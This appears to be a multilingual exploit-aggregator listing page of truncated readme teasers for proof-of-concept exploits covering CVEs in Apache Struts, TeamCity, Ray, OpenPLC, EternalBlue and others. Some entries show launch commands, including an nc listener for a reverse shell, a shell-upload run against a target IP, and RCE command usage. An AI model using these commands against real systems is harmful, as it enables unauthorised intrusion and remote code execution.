CVE-2017-5638-ApacheStruts2.3.5

CVE-2017-5638-ApacheStruts2.3.5 Un exploit per CVE-2017-5638. Questo exploit funziona sulle versioni 2.3.5-2.3.31 e 2.5 – 2.5.10 Requisiti optparse, requests Utilizzo Questo exploit può essere utilizzato in questo modo: root@kitploit: $ python3 CVE-2017-5638ApacheStruts.py -u...

CVE-2015-6967

CVE-2015-6967 Un exploit per il manager Nibbles versione 4.0.3. Questo exploit consente di eseguire RCE. Requisiti optparse, signal, requests Utilizzo root@kitploit: python3 CVE-2015-6967.py --url http://10.129.156.150/ --username admin --password nibbles + Login Succesfuly! + Uploading shell...

CVE-2021-26121

CS-Cart templates.manage Server-Side Template Injection Remote Code Execution Schwachstelle Gefunden von: Steven Seeley von 360 Vulcan Team Version: = 4.12.x aktuell Datum: 2021-01-08 12:49 CVE: CVE-2021-26121 Zeitplan der Offenlegung 2021-01-26 – An das CSCart-Entwicklerteam gesendet 2021-01-27 ...

staystaystay

staystaystay staystaystay ist ein Proof-of-Concept-Exploit für CVE-2021-1585, ein Man-in-the-Middle- oder bösartiges Endpunkt-RCE-Problem, das den Cisco ASA Device Manager ASDM betrifft. Das Problem wurde ursprünglich von Malcolm Lashley entdeckt und im Sommer 2021 veröffentlicht. Allerdings war ...

cve-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n पूर्ण श्रृंखला बिना प्रमाणीकरण के आर्बिट्ररी फ़ाइल रीड → एडमिन टोकन फोर्ज → सैंडबॉक्स बाईपास → RCE...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Dichiarazione di non responsabilità Questo strumento è destinato solo a studio, ricerca e auto-verifica. Non dovrebbe essere utilizzato per scopi...

cve-2025-55182

🛡️ React2Shell CTF 🚀 Benvenuti in React2Shell-CTF , un ambiente Dockerizzato progettato per esercitarsi nello sfruttamento di React2Shell CVE-2025-55182. React2Shell è una vulnerabilità critica che colpisce le applicazioni basate su React. Questo repository fornisce una sfida Capture The Flag CTF...

cve-2025-29384

CVE-2025-29384 Exploit Proof-of-Concept Panoramica Questo repository contiene un exploit proof-of-concept PoC avanzato per CVE-2025-29384 , una vulnerabilità critica di buffer overflow basato su stack scoperta nel router Tenda AC9 con versione firmware V15.03.05.14multi. Questa vulnerabilità...

CVE-2022-28368

CVE-2022-28368 - Dompdf RCE Exploit PoC di Dompdf RCE testo alternativo ExploitDB Le versioni di Dompdf 1.2.1 sono vulnerabili all'esecuzione di codice remoto RCE tramite l'iniezione di CSS nei dati. Il file può essere indotto a memorizzare un font dannoso con estensione .php nella sua cache dei...

CVE-2024-32002

CVE-2024-32002 1. Modifica il file exploit.sh sostituisci i repository 2. esegui bash exploit.sh exploit.sh Ispirato da - https://github.com/safebuffer/CVE-2024-32002 Realizzato per CTF Versioni vulnerabili v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 Fonte...

CVE-2023-42793

CVE-2023-42793 TeamCity CVE-2023-42793 RCE Esecuzione remota di codice rce.py Ispirato da - https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity python3 rce.py --url teamcity.runner.htb --command whoami exploit.py Questo script è una copia di...

CVE-2021-31630

OpenPLC WebServer v3 - RCE autenticato CVE-2021-31630 Questo exploit si basa sull'exploit di Exploit-DB realizzato da Fellipe Oliveira. Per prima cosa, autenticati Carica un file C malevolo Compilalo Avvia il PLC avvia la reverse shell Ferma il PLC non è necessario eseguirlo, la reverse shell è g...

POC-CVE-2018-10933

POC-CVE-2018-10933 Exploit di bypass dell'autenticazione LibSSH tramite RCE Riferimenti del codice Repository Git dell'esempio https://www.youtube.com/watch?v=ZSWQjmfcn4g Ulteriori informazioni sulla vulnerabilità https://www.libssh.org/security/advisories/CVE-2018-10933.txt...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Riferimento https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

evil-mhyprot-cli

evil-mhyprot-cli A PoC for Mhyprot2.sys vulnerable driver that allowing read/write memory in kernel/user via unprivileged user process. libmhyprot Wiki Overview What we can do with this CLI is as follows: Read/Write any kernel memory with privilege of kernel from usermode Read/Write any user memo...

CVE-2017-9805

CVE-2017-9805: Analisi della RCE di Apache Struts 2 S2-052 Questo repository contiene dettagli tecnici e una Proof of Concept PoC per la vulnerabilità di deserializzazione XStream in Apache Struts 2 S2-052. 📌 Dettagli della Vulnerabilità ID CVE: CVE-2017-9805 Tipo di vulnerabilità: Remote Code...

CVE-2024-25466

CVE-2024-25466 Descrizione per CVE-2024-25466 Descrizione suggerita Vulnerabilità di Directory Traversal in React Native Document Picker precedente alla v.9.1.1 e corretta nella v.9.1.1 consente a un attaccante locale di eseguire codice arbitrario tramite uno script appositamente predisposto nel...

CVE-2023-6019

حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Schwachstelle zur Remotecodeausführung in Microsoft Windows SMBv1 "Ein Exploit. Dutzende Malware-Familien. Milliarden Schaden." 🔍 Zusammenfassung in einem Satz CVE-2017-0144 ist eine kritische Schwachstelle zur Remotecodeausführung in der SMBv1-Serverimplementierung...

CVE-2026-21018

Dépassement de tampon SveService Samsung SMR Mai 2026 SVE-2026-0478CVE-2026-21018 Versions affectées : Android 14, 15, 16 Statut de divulgation : Divulgué privément Écriture hors limites dans SveService avant SMR Mai-2026 Release 1 permet à des attaquants privilégiés locaux d'exécuter du code...